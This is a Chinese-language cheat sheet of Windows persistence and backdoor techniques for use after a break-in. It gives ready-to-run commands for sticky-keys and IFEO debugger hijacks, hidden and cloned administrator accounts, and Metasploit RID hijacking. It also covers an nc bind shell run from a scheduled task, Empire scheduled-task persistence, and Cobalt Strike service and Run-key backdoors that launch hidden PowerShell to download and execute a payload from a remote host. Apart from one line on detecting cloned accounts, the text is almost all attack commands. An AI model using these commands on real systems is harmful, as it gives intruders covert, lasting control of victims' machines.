远程登录类
映像劫持
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
此时点击五次shift键会打开cmd。(利用时,可以远程登录,然后多次点击触发后门上线)
影子账户
net user test$ 123456 /add&&net localgroup administrators test$ /add
激活Guest用户
net user guest /active:yes
net user guest 1234
net localgroup administrators guest /add
在打开的命令行中输入 runas /user:administrator cmd
克隆账户
1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。
2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。
3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。
4、分别将test$和"000003EC" 导出到桌面,然后删除test$用户,net user test$ /del
5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。
检测和清理方法:
使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
rid_hijack
通过劫持有效帐户的RID来在注册表中进行修改,以使Guest帐户成为管理员
use post/windows/manage/rid_hijack
msf5 post(windows/manage/rid_hijack) > set session 5
msf5 post(windows/manage/rid_hijack) > set getsystem true
msf5 post(windows/manage/rid_hijack) > set guest_account true
msf5 post(windows/manage/rid_hijack) > set password 123!@ASQs
msf5 post(windows/manage/rid_hijack) > exploit
然后impacket链接
shift后门
C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift键
C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U键
cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
工具篇
MSF
Metsvc 模块
通过服务(metsvc)启动的方式,在目标机器启动后自启动一个meterpreter服务
run metsvc -A
目标机器的会开启一个服务。
Scheduleme & Schtasksabus
msf中自动利用计划任务的后门程序。
demo:
上传nc并创建计划任务每一分钟执行一次 ‘nc -e cmd.exe -L -p 8080’
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
每隔4秒执行一次calc.exe
run schtasksabuse -t 192.168.1.68 -c "cmd /c calc.exe" -d 4
Empire
empire下提供了很多的权限维持的模块:
分类
计划任务
(Empire: 4CH7TZAE) > usemodule persistence/elevated/schtasks* (Empire: powershell/persistence/elevated/schtasks) > set Listener http1 (Empire: powershell/persistence/elevated/schtasks) > set DailyTime 21:35 (Empire: powershell/persistence/elevated/schtasks) > execute
update下可以看到powershell的启动
Cobalt Strike
注册表:
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\mr.lee\Desktop\artifact.exe" /f
重启获得shell。artifact
无文件服务后门
通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。
根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。
点击Launch后,返回powershell远程下载执行命令。
服务自启动后门
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\""
sc description Name "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务
重启服务器后,成功返回一个shell。
注册表自启动
在windows启动项注册表里面添加一个木马程序路径,如:
beacon>getsystem
beacon>shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" /f
账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。
注册表还有哪些键值可以设置为自启动:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon